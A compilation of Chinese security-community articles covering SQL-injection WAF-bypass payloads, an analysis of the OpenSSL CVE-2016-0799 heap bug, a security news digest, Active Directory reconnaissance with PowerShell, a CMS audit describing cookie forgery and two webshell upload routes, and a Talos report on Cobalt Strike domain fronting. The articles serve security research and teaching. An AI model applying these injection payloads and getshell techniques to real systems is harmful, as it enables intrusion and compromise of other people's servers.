limit中可以利用offset来摆脱对逗号的利用
* **比较符号( >、< )绕过**（greatest、between and)
* **逻辑符号的替换** （and=&& or=|| xor=| not=!）
* **空格绕过** （用括号，+等绕过）
* **等价函数绕过**
* hex()、bin()=ascii()
* concat_ws()=group_concat()
* mid()、substr()=substring()
* **http参数污染** （`id=1 union select+1,2,3+from+users+where+id=1–`变为`id=1 union select+1&id=2,3+from+users+where+id=1–`）
* **缓冲区溢出绕过** (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值，其实这种方法还对后缀名的绕过也有用) | 社区文章 |
# OpenSSL CVE-2016-0799： BIO_printf函数可引起堆内存崩溃
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://guidovranken.wordpress.com/2016/02/27/openssl-cve-2016-0799-heap-corruption-via-bio_printf/>
译文仅供参考，具体内容表达以及含义原文为准。
OpenSSL
是一个强大的安全套接字层密码库，其囊括了目前主流的密码算法，常用的密钥，证书封装管理功能以及SSL协议，并提供了丰富的应用程序可供开发人员测试或其它目的使用。
但是安全研究人员发现，OpenSSL的BIO_*printf()函数中存在几个问题，该函数定义在crypto/bio/b_print.c文件之中。开发人员将会在即将发布的安全补丁中修复这一问题。
这个函数的主要功能是负责解释和转换格式字符串，该函数的输入参数为_dpor()。
dpor()可以以一种渐进的方式对格式字符串中的字符逐个进行扫描，并利用doapr_outch()函数对数据进行输出。
doapr_outchr()函数的前两个参数是一个指向静态分配缓冲区（char**
sbuffer）的double类型指针,以及一个指向char类型指针（char
**buffer）的指针。值得注意的是，该指针的值是由doapr_outch()函数所分配的动态内存空间来决定的。
第一个参数，即静态缓冲区，应该始终是有效的。其内存空间的大小是由第三个参数所决定的，即t* currlen。
static void
701 doapr_outch(char **sbuffer,
702 char **buffer, size_t *currlen, size_t *maxlen, int c)
703 {
704 /* If we haven't at least one buffer, someone has doe a big booboo */
705 assert(*sbuffer != NULL || buffer != NULL);
706
707 /* |currlen| must always be <= |*maxlen| */
708 assert(*currlen <= *maxlen);
709
710 if (buffer && *currlen == *maxlen) {
711 *maxlen += 1024;
712 if (*buffer == NULL) {
713 *buffer = OPENSSL_malloc(*maxlen);
714 if (!*buffer) {
715 /* Panic! Can't really do anything sensible. Just return */
716 return;
717 }
718 if (*currlen > 0) {
719 assert(*sbuffer != NULL);
720 memcpy(*buffer, *sbuffer, *currlen);
721 }
722 *sbuffer = NULL;
723 } else {
724 *buffer = OPENSSL_realloc(*buffer, *maxlen);
725 if (!*buffer) {
726 /* Panic! Can't really do anything sensible. Just return */
727 return;
728 }
729 }
730 }
731
732 if (*currlen < *maxlen) {
733 if (*sbuffer)
734 (*sbuffer)[(*currlen)++] = (char)c;
735 else
736 (*buffer)[(*currlen)++] = (char)c;
737 }
738
739 return;
740 }
在这里，doapr_outch()函数将会用数据填写静态分配缓冲区sbuffer，直到其存储空间被写满；具体实现方式可查看下列代码段中的第732行代码，但是在第734行代码处，一个字节的数据将会被追加写入至*sbuffer：
732 if (*currlen < *maxlen) {
733 if (*sbuffer)
734 (*sbuffer)[(*currlen)++] = (char)c;
当缓冲区sbuffer被写满之后（*currlen指针将与*maxlen指针相同），调用函数将会允许系统动态分配内存空间，那么下列条件语句的值将会为“真”：
710 if (buffer && *currlen == *maxlen) {
在这里我们可以看到，每处理1024个字节的数据，系统都需要进行一次内存分配。当堆内存分配成功之后，*sbuffer会被清空：
713 *buffer = OPENSSL_malloc(*maxlen);
714 if (!*buffer) {
715 /* Panic! Can't really do anything sensible. Just return */
716 return;
717 }
718 if (*currlen > 0) {
719 assert(*sbuffer != NULL);
720 memcpy(*buffer, *sbuffer, *currlen);
721 }
722 *sbuffer = NULL;
sbuffer被清空之后，数据字节将会被写入基于堆的*buffer，而不是基于栈的*sbuffer:
if (*currlen < *maxlen) {
733 if (*sbuffer)
734 (*sbuffer)[(*currlen)++] = (char)c;
735 else
736 (*buffer)[(*currlen)++] = (char)c;
737 }
BIO_printf/BIO_vprintf与BIO_snprintf/BIO_vsnprintf之间的区别
BIO_printf()函数与BIO_vprintf()函数可以允许doapr_outch()根据一个指向char指针的有效指针来为系统动态分配内存空间。
int BIO_printf(BIO *bio, const char *format, ...)
745 {
746 va_list args;
747 int ret;
748
749 va_start(args, format);
750
751 ret = BIO_vprintf(bio, format, args);
752
753 va_end(args);
754 return (ret);
755 }
756
757 int BIO_vprintf(BIO *bio, const char *format, va_list args)
758 {
759 int ret;
760 size_t retlen;
761 char hugebuf[1024 * 2]; /* Was previously 10k, which is unreasonable
762 * in small-stack environments, like threads
763 * or DOS programs. */
764 char *hugebufp = hugebuf;
765 size_t hugebufsize = sizeof(hugebuf);
766 char *dynbuf = NULL;
767 int ignored;
768
769 dynbuf = NULL;
770 CRYPTO_push_info("doapr()");
771 _dopr(&hugebufp, &dynbuf, &hugebufsize, &retlen, &ignored, format, args);
772 if (dynbuf) {
773 ret = BIO_write(bio, dynbuf, (int)retlen);
774 OPENSSL_free(dynbuf);
775 } else {
776 ret = BIO_write(bio, hugebuf, (int)retlen);
777 }
778 CRYPTO_pop_info();
779 return (ret);
780 }
BIO_vprintf()可以向系统提供静态分配的缓冲区（hugebuf），其大小在hugebufsize中进行了编码处理；并且还提供了一个指向char类型指针的指针(dynbuf)。BIO_print()函数所采用的运行机制与BIO_vprintf()函数的运行机制相同。
相比之下，另外两个*printf函数－BIO_vsnprintf()和BIO_snprintf()只能够使用静态分配的缓冲区，这部分数据由调用函数提供：
int BIO_snprintf(char *buf, size_t n, const char *format, ...)
789 {
790 va_list args;
791 int ret;
792
793 va_start(args, format);
794
795 ret = BIO_vsnprintf(buf, n, format, args);
796
797 va_end(args);
798 return (ret);
799 }
800
801 int BIO_vsnprintf(char *buf, size_t n, const char *format, va_list args)
802 {
803 size_t retlen;
804 int truncated;
805
806 _dopr(&buf, NULL, &n, &retlen, &truncated, format, args);
807
808 if (truncated)
809 /*
810 * In case of truncation, return -1 like traditional snprintf.
811 * (Current drafts for ISO/IEC 9899 say snprintf should return the
812 * number of characters that would have been written, had the buffer
813 * been large enough.)
814 */
815 return -1;
816 else
817 return (retlen <= INT_MAX) ? (int)retlen : -1;
818 }
漏洞信息
doapr_outch()函数中存在的一个问题就是，其他函数在调用这个函数时，如果内存分配失败，系统不会提供任何的提示信息，因为这是一个没有返回值的函数：
*buffer = OPENSSL_malloc(*maxlen);
714 if (!*buffer) {
715 /* Panic! Can't really do anything sensible. Just return */
716 return;
717 }
…
724 *buffer = OPENSSL_realloc(*buffer, *maxlen);
725 if (!*buffer) {
726 /* Panic! Can't really do anything sensible. Just return */
727 return;
缺少错误提示，也就意味着只要还有字符串没有输出完成，_dopr()函数就会继续调用doapr_outch()。
除此之外，在分配内存空间之前，maxlen的值会递增，这也就意味着，即使内存空间分配失败，maxlen仍然可以表示堆内存的空间大小。实际上，无论内存空间的分配成功与否，maxlen的作用都是一样的：
*maxlen += 1024;
712 if (*buffer == NULL) {
713 *buffer = OPENSSL_malloc(*maxlen);
714 if (!*buffer) {
715 /* Panic! Can't really do anything sensible. Just return */
716 return;
717 }
因此，在内存空间分配失败之后调用doapr_outch()函数，下列代码中的条件语句将为“假”：
710 if (buffer && *currlen == *maxlen) {
内存空间的分配失败将会导致*buffer的值被清空，但是buffer（指针）仍然是有效的。
然而，此时*currlen指针的值与*maxlen指针的值就不同了，因为在之前调用的过程中，*maxlen的值只增加了1024。
如果if条件语句中的条件为“假”，系统将会跳过函数中的大部分核心代码：
732 if (*currlen < *maxlen) {
733 if (*sbuffer)
734 (*sbuffer)[(*currlen)++] = (char)c;
735 else
736 (*buffer)[(*currlen)++] = (char)c;
737 }
现在，*currlen实际上就是*maxlen，而*sbuffer的值为空。因此，下列这段代码将会被执行：
736 (*buffer)[(*currlen)++] = (char)c;
buffer变成了空指针，而currlen指针有可能指向任何内容，其指向的内容具体将取决于系统在内存分配过程中的失败信息。
*currlen指针是一个长度为32个字节的整形指针，所以当指针在使用时，它会指向一个大小不超过4GB的虚拟内存空间。但是在32位内存布局中，攻击的成功率完全取决于攻击者的技术水平，特别是当攻击者可以利用某种方式来引起相关系统中发生内存溢出的时候。
然而，一个系统中可以供OpenSSL使用的内存空间还剩多少？当前系统中正在运行的其他应用程序如果也在使用OpenSSL的话，这些应用所需要消耗的资源将会对攻击者的操作产生影响。
即使攻击者能够通过内存消耗的手段来引起内存崩溃，并实现远程代码执行，但这样的操作在攻击实践的过程中是非常困难的。而且，程序的堆内存也有可能会发生崩溃，这样将会导致存储在其中的重要数据丢失，结果将会不堪设想。这也就是我们所说的堆破坏。
而且，即使你能够保证系统中不出现恶意软件，但是堆内存空间不足将会导致系统随时可能发生堆内存崩溃。
另一种能够触发这一漏洞的方法
除此之外，还有一件有趣的事情。现在还有另外一种确切的方法可以引起OPENSSL_realloc()失败。
实际上，OPENSSL_realloc()可以算得上是CRYPTO_realloc()函数的一个宏：
375 void *CRYPTO_realloc(void *str, int num, const char *file, int line)
376 {
377 void *ret = NULL;
378
379 if (str == NULL)
380 return CRYPTO_malloc(num, file, line);
381
382 if (num <= 0)
383 return NULL;
num是一个有符号的32位整数，如果它的值为0或者为负数的话，函数将会返回NULL。
因为在doapr_outch()函数中，*maxlen指针会在每次进行内存分配时增加1024：
711 *maxlen += 1024;
这个值最终将会变成一个负值。然后OPENSSL_realloc()也会不可避免地发生错误，因为CRYPTO_realloc()是不会对一个大小为负值的内容进行内存分配的。
换句话说，如果我们向BIO_printf()提供一个非常大的字符串，那么就肯定能够触发这一漏洞。
**受影响的软件**
Apache httpd同样也使用了BIO_printf：
[https://github.com/apache/httpd/blob/trunk/modules/ssl/ssl_util_ocsp.c#L46](https://github.com/apache/httpd/blob/trunk/modules/ssl/ssl_util_ocsp.c%23L46)
但是，我们目前还没有对其进行分析检测，所以暂时还不知道该漏洞在这一产品中将会被如何利用。
还有一些其他著名的应用程序也使用了BIO_printf()：
[https://codesearch.debian.net/results/BIO_printf/page_0](https://codesearch.debian.net/results/BIO_printf/page_0) | 社区文章 |
# 安全快讯21 | 工信部整治APP开屏弹窗骚扰用户行为
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### 扫描陌生人二维码被敲诈22万
小王扫描网友发送的二维码下载软件，但扫完并无下载提示，随后网友发送了小王的相册照片等隐私数据勒索小王。转账给对方5万元后，对方依然没有删除照片，并继续敲诈共计22万余元。
据了解，犯罪分子售卖自己编辑后的App源码和使用教程来赚钱，这类App的前端源码可以获取他人手机通讯录、相册照片、短信、定位等隐私数据，并能将他们传输至指定的域名或IP地址上，而进行非法牟利。
**安全专家提示您：不要扫描陌生二维码，更不要安装不明来源的软件！**
**扫码诈骗常见的套路要注意：**
**第一类：金融投资类的诈骗。** 陌生人加好友后，通过分享二维码拉进群，群里会有各种所谓的投资专家，鼓动你在某个虚假投资网站上进行投资，从而被骗。
**第二类：身份冒充诈骗。** 盗号后伪装好友，通过发二维码让你扫码转账被骗。
**第三类：金融账户钓鱼诈骗。**
不法分子手机个人手机号码，以各种要验证资质等方式，让受害人扫码访问钓鱼网站，从而窃取手机内的银行卡信息、密码，并拦截短信转走卡内金额。
## 行业动态
### 工信部整治APP开屏弹窗骚扰用户行为
工信部近期对用户反映强烈投诉较多的“弹窗信息标识近于无形、关闭按钮小如蝼蚁、页面伪装瞒天过海、诱导点击暗度陈仓”等违规行为进行了集中整治，督促企业重视用户诉求，
**解决好在开屏信息页面中存在利用文字、图片、视频等方式欺骗误导用户跳转等问题。**
截至目前，68家头部互联网企业已按要求完成整改。2021年第二季度，开屏弹窗信息用户投诉举报数量环比下降50%，误导用户点击跳转第三方页面问题同比下降80%。
## 国际前沿
### Win7 碰上Windows打印服务新漏洞？360 Win7盾甲提供精准修复！
近期，微软相继公布了存在于Windows打印服务中的两个高危漏洞CVE-2021-1675、CVE-2021-34527，攻击者可以使用普通用户或者是低权限用户（包括匿名共享guest账户）身份，攻击域控服务器，从而控制整个网络。这两个漏洞影响的范围涉及Windows的各个版本，包括Windows7、Windows
Server 2008/2008R2等已经停止服务的系统。
由于相关漏洞的利用复杂度较低，因此漏洞利用价值很高，终端面临的攻击风险极大。事实上，在官方漏洞公告发布仅一天后，360安全大脑就监测到“紫狐”挖矿僵尸网络正利用CVE-2021-34527漏洞发起攻击。
目前微软已经针对CVE-2021-1675、CVE-2021-34527发布了相关官方补丁。然而，对于包含Windows7在内的停服系统而言，由于微软已经停止提供安全更新服务，没有办法直接安装补丁，政企用户内部这些仍在网运行的终端面临巨大的漏洞攻击风险。如果关闭Print
Spooler服务，则影响打印服务的正常使用。
360安全大脑第一时间支持了对CVE-2021-1675、CVE-2021-34527的攻击拦截，并迅速提供了专门的漏洞免疫方案，广大政企用户可以通过
**360 Win7盾甲主机安全加固系统** 执行微补丁修复。 | 社区文章 |
## 文章前言
Microsoft为Windows Server 2008 R2以及更高版本提供了多个Active Directory PowerShell
cmdlet，例如：Get-Aduser、Get-Adcomputer和Get-a
object等等，这些cmdlet可以帮助我们检索AD的许多信息，本篇文章主要介绍通过Windows Server 2008
R2/2012/2016或更高版本下通过Active Directory PowerShell cmdlet来进行域内信息收集的方法。
## 使用前提
在使用Windows客户端上使用时，我们需要安装远程服务器管理工具(RSAT)并确保已安装Active Directory
PowerShell模块，否则在导入模块时会出现以下报错提示：
关于确认是否已经安装Active Directory PowerShell我们可以通过以下命令来查看是否包含ActiveDirectory模块
Get-Module -ListAvailable
在Windows Server 2008 R2或者更高的版本的powershell控制台我们需要在使用之前执行以下命令将模块作为功能添加到服务器管理器中：
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
下面的演示接在Windows Server 2012上进行~
## 简易示例
powershell v2.0及之前powershell版本，我们在使用时需要先导入ActiveDirectory模块，下面是一个简易的AD
PowerShell cmdlet使用示例：
Import-Module ActiveDirectory
$UserID = "Al1ex"
Get-ADUser $UserID –property *
在PowerShell v3版本以及高版本，无需运行第一行命令，因为PowerShell将识别必要的模块和自动加载它，而且一旦加载了Active
Directory PowerShell模块，就可以像浏览文件系统那样浏览AD，例如：
Ps> Import-module ActiveDirectory
Ps> dir ad:
Ps> set-location ad:
Ps> set-location "dc=hacke,dc=testlab"
Ps> dir
## 基本模块
PowerShell AD模块的Cmdlet个数在各个操作系统中如下：
* Windows Server 2008 R2: 76 cmdlets
* Windows Server 2012: 135 cmdlets
* Windows Server 2012 R2: 147 cmdlets
* Windows Server 2016: 147 cmdlets
可以通过在powershell中执行以下命令来查看：
(Get-Command -module ActiveDirectory).count
WINDOWS SERVER 2008 R2主要的cmdlets：
* Get/Set-ADForest
* Get/Set-ADDomain
* Get/Set-ADDomainController
* Get/Set-ADUser
* Get/Set-ADComputer
* Get/Set-ADGroup
* Get/Set-ADGroupMember
* Get/Set-ADObject
* Get/Set-ADOrganizationalUnit
* Enable-ADOptionalFeature
* Disable/Enable-ADAccount
* Move-ADDirectoryServerOperationMasterRole
* New-ADUser
* New-ADComputer
* New-ADGroup
* New-ADObject
* New-ADOrganizationalUnit
WINDOWS SERVER 2012含以版本一些新的cmdlets:
* Get/Set-ADResourcePropertyListMember
* Get/Set-ADAuthenticationPolicy
* Get/Set-ADAuthenticationPolicySilo
* Get/Set-ADCentralAccessPolicy
* Get/Set-ADCentralAccessRule
* Get/Set-ADResourceProperty
* Get/Set-ADResourcePropertyList
* Get/Set-ADResourcePropertyValueType
* Get/Set-ADDCCloneConfigFile
* Get/Set-ADReplicationAttributeMetadata
* Get/Set-ADReplicationConnection
* Get/Set-ADReplicationFailure
* Get/Set-ADReplicationPartnerMetadata
* Get/Set-ADReplicationQueueOperation
* Get/Set-ADReplicationSite
* Get/Set-ADReplicationSiteLink
* Get/Set-ADReplicationSiteLinkBridge
* Get/Set-ADReplicationSubnet
* Get/Set-ADReplicationUpToDatenessVectorTable
* Sync-ADObject
我们可以通过在powershell下执行以下命令查看当前ActiveDirectory可用的cmdlet：
Get-Command -module ActiveDirectory
## 全局目录
### 森林全局目录
Import-Module ActiveDirectory
Get-ADForest
$ADForest.GlobalCatalogs
### 域DCS全局目录
Import-Module ActiveDirectory
Get-ADDomainController -filter { IsGlobalCatalog -eq $True}
### 非域DCS全局目录
Import-Module ActiveDirectory
Get-ADDomainController -filter { IsGlobalCatalog -eq $False }
## 基本使用
### Get-ADForest
Get-ADForest用于获取森林信息，使用示例如下：
#### 示例一：获取当前林信息
Import-Module ActiveDirectory
Get-ADForest
也可以通过以下指令来获取：
Get-ADForest -Current LocalComputer
#### 示例二：获取登录用户所处林信息
Get-ADForest -Current LoggedOnUser
#### 示例三：获取指定域的林信息
Get-ADForest hacke.testlab
### Get-ADRootDSE
Get-ADRootDSE用于获取有关LDAP服务器的信息，使用示例如下：
Get-ADRootDSE
### Get-ADDomain
Get-ADDomain用户获取域的信息，常用示例如下：
#### 示例一：获取指定域信息
Get-ADDomain hacke.testlab
#### 示例二：获取当前域信息
Get-ADDomain -Current LocalComputer
#### 示例三：获取当前登录域信息
Get-ADDomain -Current LoggedOnUser
### Get-ADDomainController
Get-ADDomainController用于获取域控信息，示例如下：
#### 示例一：获取当域控信息
Get-ADDomainController
#### 示例二：使用discovery查看可用DC
Get-ADDomainController -Discover -Site "Default-First-Site-Name"
或者也可以使用以下指令来查询：
Get-ADDomainController -Discover -Site "Default-First-Site-Name" -ForceDiscover
#### 示例三：获取给定站点中的所有全局目录
### Get-ADComputer
Get-AdComputer用于获取关于AD中计算机对象的信息，使用示例如下：
#### 示例一：获取域中指定计算机信息
Get-ADComputer "WIN7-test" -Properties *
#### 示例二：获取域中所有的计算机主机
Get-ADComputer -Filter *
### Get-ADUser
Get-ADUser用于获取AD用户的信息，使用示例如下：
#### 示例一：获取指定用户所有信息
Get-ADUser Al1ex -Properties *
#### 示例二：模糊查询域用户账户
Get-ADUser -Filter 'Name -like "*Al1*"' | FT Name,SamAccountName -A
这其实也可以这样用：
Get-ADUser -Filter 'Name -like "*Al1*"' | FT Name,SamAccountName -A
#### 示例三：获取AD Kerberos服务帐户
Get-ADUser -filter {ServicePrincipalName -like "*"} -property ServicePrincipalName
### Get-ADGroup
Get-ADGroup用于获取AD组的信息，使用示例如下：
#### 示例一：特定用户组信息
Get-ADGroup administrators
#### 示例二：获取用户组成员
get-adgroup -Identity S-1-5-32-544 -Properties member
#### 示例三：获取所有安全组信息
get-adgroup -Filter 'GroupCategory -eq "Security" -and GroupScope -ne "DomainLocal"' //除去DomainLocal
### Get-ADGroupMember
Get-ADGroupMember用于获取AD组成员信息，使用示例如下：
#### 示例一:获取Administrator组成员信息
get-adgroupmember -Identity administrators
#### 示例二:获取Enterprise Admins成员信息
get-adgroupmember "Enterprise Admins" -recursive
### Get-ADDefaultDomainPasswordPolicy
Get-ADDefaultDomainPasswordPolicy用于获取当前域密码策略，使用示例如下：
#### 示例一：获取域用户密码策略
Get-ADDefaultDomainPasswordPolicy -Current LoggedOnUser
#### 示例二：获取指定域密码策略
Get-ADDefaultDomainPasswordPolicy -Identity hacke.testlab
### Get-ADReplicationSite
Get-ADReplicationSite用于获取AD站点信息，示例如下：
Get-ADReplicationSite -Filter *
### Get-ADPrincipalgroupmembership
get-adprincipalgroupmembership用于检索用户所属的组信息，使用示例如下：
Get-ADPrincipalgroupmembership -Identity Administrator
### Get-ADTrust
Get-ADTrust用于获取域信任关系，示例如下(笔者这里为单域，所以信息为空)
Get-ADTrust -Filter *
## 参考链接
<https://adsecurity.org/?p=3719>
<https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=winserver2012-ps>
<https://adsecurity.org/wp-content/uploads/2015/04/NoVaPowerShellUsersGroup2015-ActiveDirectoryPowerShell.pdf> | 社区文章 |
# 某logCMS的代码审计:越权到后台getshell
## 前言
学习CTF这么久还没真正意义上审计过一款cms，这次决定花点时间去审计一款cms作为代码审计提升的跳板。由于相关要求，这里就省去cms全名了，主要分享一下学习思路。
## 代码审计
### 安装漏洞
其实一般代码审计都是从安装文件开始审计，一般安装脚本主要存在如下漏洞：
* 无验证功能，任意重装覆盖
* 表单不做过滤写入config.php导致getshell
* $_GET['step']跳过限制步骤
漏洞文件：`install.php`
首先我们直奔第一个点能否任意重装，我们可以看到必须常量`DEL_INSTALLER`为1的时候才会触发删除`install.php`,那么我们追踪`DEL_INSTALLER`看看
这里可以看到`DEL_INSTALLER`默认值就是0，所以一般情况下这里是可以任意重装的，我们从黑盒的测试也可以印证这一点。同时表单也做了过滤所以这里也没有后面两种情况。
### 越权漏洞
在安装完毕后打开`config.php`看到两个比较奇怪的常量定义：`AUTH_KEY`和`AUTH_COOKIE_NAME`从名字来看这连个常量肯定是有一定联系的。如下图：
我们在抓包时候发现了`AUTH_COOKIE_NAME`这个常量，说明这是一个cookie名。我们继续再代码中追踪这个常量。
我们可以看到在登录验证cookie中使用了这个常量，我们追踪一下cookie值是如何构造的
这里可以看到，调用了`emHash`这个类方法，并且这里使用了`AUTH_KEY`这个常量，这里说明这两个常量是有联系的。我们在继续追踪hash_hmac()到底使用key做了什么。
这里对传入的$key也就是`AUTH_KEY`进行了md5加密到一个二进制字符串中而后分割为64个字节与一个字符*64次的字符串进行异或最后得到两个字符串`$ipad`,`$opad`最后再将他们打包拼接用md5加密返回给上级调用。我们再回到上级。
我们知道`generateAuthCookie`方法中的
`$key`、`$hash`是由`AUTH_KEY`加密而成。最终的cookie是由`$user_login 、 $expiration
$hash`拼接而成，而$expiration是cookie的生存时间，$user_login是用户名。这里可以得知$key、$user_login、$expiration都是固定的那么只要知道`AUTH_KEY`就有伪造cookie造成越权的可能。
例如我们准备两个靶机，一个靶机登陆，获取这个靶机的cookie即可越权登陆另外一个靶机。前提是两个靶机的`AUTH_KEY`得一致。这里有点鸡肋但是还是有利用的可能。我们将两个靶机的cookie拿出来比较确实是一样的。
### 后台getshell（一）
其实上诉两个漏洞已经能够让我们进入后台了，现在的任务就是如何Getshell了。这里我随便看了一下发现后台有设置上传附件后缀的功能。
但是测试发现，加入php后缀你发现会将phpt替换为X,从源码中可有很直观看到这点。
此时我注意到了备份功能，这个后缀是保存在数据库中的，既然我不能直接将后缀写入数据库，那么我能不能通过数据备份恢复的方法写入数据库呢。
这里直接备份所有表，下载下来然后找到写入后缀的语句，加上php,如下
导入备份后发现设置中的上传后缀有php
直接在文章发表出上传PHP文件即可getshell
### 后台getshell（二）
我们还发现这个cms中上传插件的地方可以上传zip，这里我们想如果在插件中插入一句话木马是不是也能getshell?我们找到插件上传的脚本，发现使用了一个叫`emUnzip`的函数。
我们继续追踪这个函数，发现这个解压函数是使用ZipArchive()类来实现解压缩的。我们可以看到代码755行中获取了压缩包的内部目录/文件的名称
,并将其分割为数组将第一个元素赋值给了`$dir`，我们看到switch中`plugin`选项，这里又将获取的第一个文件夹名称赋值给`$plugin_name`,使用`getFromName`方法获取了压缩包是否存在`$dir
. $plugin_name .
'.php'`这个文件。综上这里就是检测压缩包中文件夹里面是否存在一个与文件夹名称一致的PHP文件，最后在再压。这里也没对文件进行其他校验操作。因此我们只要再构造
文件夹名和文件名相同的内容的压缩包，同时由上方代码也可以知道，文件将会被解压到 `/content/plugins/a/a.php`(文件夹名称a)
构建压缩包上传插件：
## 总结
这次代码审计也是十分传统地从安装文件入手，黑盒结合白盒测试的方法进行审计。总的来说作者有一点安全意识在输入时候对php进行过滤，但是如果服务器是iis可以解析asp但是这里并没有对asp进行过滤，并且如果服务器解析phtml这些后缀在附件上传处同样可以getshell。总的来说在开发时候上传部分应当锁死不应让用户可控。
## 参考
<https://blog.csdn.net/luoluozlb/article/details/72853885> | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://blog.talosintelligence.com/2021/11/attackers-use-domain-fronting-technique.html>**
## 摘要
Cisco Talos在2021年9月发现了一个新的恶意活动，攻击者使用了泄露的Cobalt Strike版本。 尽管Cobalt
Strike最初是作为合法工具创建的，但它仍然是安全工作者需要监视的东西，因为攻击者正在使用它来设置攻击。本例中的攻击者使用Cloudflare内容分发网络的域前置，将缅甸政府拥有的域定向到攻击者控制的服务器。攻击者采用在其攻击链中重新注册知名域的策略来逃避检测。
该攻击展示了MITRE
ATT&CK框架的几种技术，最显著的是T1202-间接命令执行，T1027-模糊文件或信息，T1105-入口工具传输，T1071.001-应用层协议：Web协议。
## 新的发现
Cisco Talos在2021年9月发现了一个恶意活动，攻击者使用一个模糊的Meterpreter储存器部署Cobalt
Strike信标。该攻击者使用缅甸政府拥有和运营的一个域名，即缅甸数字新闻网，作为其信标的域名前置。
这一威胁的演变表明，至少自2021年8月以来，攻击者就一直在活动，他们使用Meterpreter储存器和Cobalt
Strike信标，在受害者的端点上建立存在。
## 机制
恶意软件通常是一个加载程序，并在受害者设备上运行，通过反射注入解码并执行Cobalt Strike beacon
DLL。它在运行时加载多个库，并根据嵌入的配置文件生成信标流量。配置文件包含与指挥和控制（C2）服务器相关的信息，该服务器指示受害者的机器发送初始DNS请求，试图连接到缅甸政府拥有的域`www[.]mdn[.]gov[.]mm`的主机。该站点托管在Cloudflare内容分发网络后面，实际C2流量重定向到攻击者控制的服务器`test[.]softlemon[.]net`,该域是基于信标配置数据中指定的HTTP主机头信息
## 进展
Cobalt Strike过去曾被许多攻击者使用，是post-exploitation和pivot的事实上的标准工具。攻击者利用它部署范围广泛的有效载荷，从商品恶意软件到复杂的国家支持的攻击行为。 Cobalt
Strike允许攻击者改造信标的流量，以模拟合法的流量模式。域前置是一种通过DNS过滤隐藏流量的技术。域名代理使用合法或高声誉的域名来保证不被安全员发现。攻击者选择缅甸特定的域名作为域名前置可能表明他对该地区的地缘政治感兴趣。
在这次攻击中，攻击者使用MeterMeter
stager使用分段有效载荷，这表明信标将用于进一步的攻击。安全员应时刻保持警惕，监控网络流量，以检测Cobalt Strike活动，因为Cobalt
Strike是犯罪软件和APT组织最常用的攻击工具之一。
## 攻击的演变
一项关于该攻击演变的研究显示，攻击者正在尝试不同的主机组合，目的是完善域名前置技术。 2021年8月中旬左右发现的最早的信标包含C2
URI集，用于test[.]softlemon[.]net，而HTTP Get和Post请求头部指向dark-forest-002[.]president[.]workers[.]dev，这是一个Cloudflare无服务器workers域。请求的默认主机头配置包含主机名test[.]softlemon[.]net，最近的样本也在使用它。
2021年8月底发现的另一个样本由C2主机URI xxx[.]xxxx[.]tk和配置为指向test[.]softlemon[.]net的主机头设置组成。
从2021年9月开始，攻击者开始使用缅甸数字新闻域作为其信标的前置。虽然默认C2域指定为www[.]mdn[.]gov[.]mm，但信标的流量通过信标配置中指定的HTTP
Get和POST元数据重新定向到事实上的C2 test[.]softlemon[.]net。
攻击者可能在发起攻击之前更改了配置，用来测试其基础设施和域前置功能。基于信标配置模板和真实C2主机test[.]softlemon[.]net，我们有一定底气判断评估样本是由单个攻击者创建的。
首次发现的恶意软件样本时间线
## Cobalt Strike信标配置
我们从负载中提取了beacon配置，该配置显示，攻击者在本次活动的不同恶意软件中使用了不同的用户代理、C2服务器和主机头值。
样本的信标配置通常有一个与Mozilla兼容的Windows 7用户代理。
信标中C2服务器、用户代理和事实上的C2变体
## 水印
Cobalt Strike水印是从许可证文件生成的数字，对于Cobalt
Strike许可证来说该水印是独有的。此攻击中使用的信标上的水印为305419896（十六进制：0x12345678）。
这一特定的水印之前被认为是泄露的Cobalt
Strike版本，其他恶意攻击者（如勒索软件Maze和Trickbot组织）使用这一水印也就不足为奇了，这使得基于水印编号判定归属变得不可能。很难评估先前注册的C2服务器过期域和泄露的Cobalt
Strike的使用是因为攻击者的操作安全意识增强还是可用资源有限。
## 域前置
这次攻击中的参与者使用了域名前置技术，这是一种可以使用著名域名来隐藏Cobalt Strike
C2流量的技术。在今天分析的案例种，攻击者使用了缅甸政府域名www.]mdn[.]gov[.]mm。
前置域名mdn[.]gov[.]mm是缅甸数字新闻（一家国有数字报纸）的合法域名。该网站曾于2月被缅甸兄弟会组织（一个民兵组织）攻破。虽然没有迹象表明缅甸兄弟会先前对该领域的诽谤与本文所述的攻击行为有关，但该域名本身显然引起了各路黑客的兴趣。
域前置可以通过恶意服务器和目标之间的重定向来实现。恶意参攻击者可能会滥用各种内容分发网络（CDN），将服务内容重定向到由攻击者控制的C2主机所服务的内容。Cloudflare是CDN服务之一，它为用户的服务器上托管的文件提供了一个全局分布式缓存。Cloudflare通过用于请求资源的FQDN进行标记分发。Cloudflare用户可以选择使用自己的子域并创建指向Cloudflare的DNS记录。此子域告诉Cloudflare将该DNS记录与特定分发相关联。
信标调用主页www[.]mdn[.]gov[.]mm,/api/3，并将主机头设置为实际的C2服务器test[.]softlemon[.]net。信标流量解析为Cloudflare
IP地址,引导流量到达该地址的DNS请求将丢失，并依赖于HTTP请求的其他部分，包括主机头和实际的C2 test[.]softlemon[.]net。
## Cobalt Strike有效载荷
由于攻击者的域名前置技术使用了政府主机作为初始DNS诱饵，这些信标尤其令人感兴趣。此恶意软件使用的MITRE ATT&CK框架技术包括：
* T1202-间接命令执行
* T1027-模糊文件或信息
* T1105-入口工具转移
* T1071.001-应用层协议：Web协议
我们还分析了加载程序二进制文件，尝试找到其内存加载和功能的细节。
我们发现了一个可疑的部分`.kxrt`，其中包含打包和编码的恶意代码。该恶意软件在运行时链接多个函数，并具有MeterMeter暂存代码。
当恶意软件运行时，`.tls`部分首先运行，加载库并在`.kxrt`部分的入口点开始执行恶意代码。入口点代码调用函数在其自己的进程空间中分配虚拟内存。
地址00401550处的函数显示虚拟内存的分配
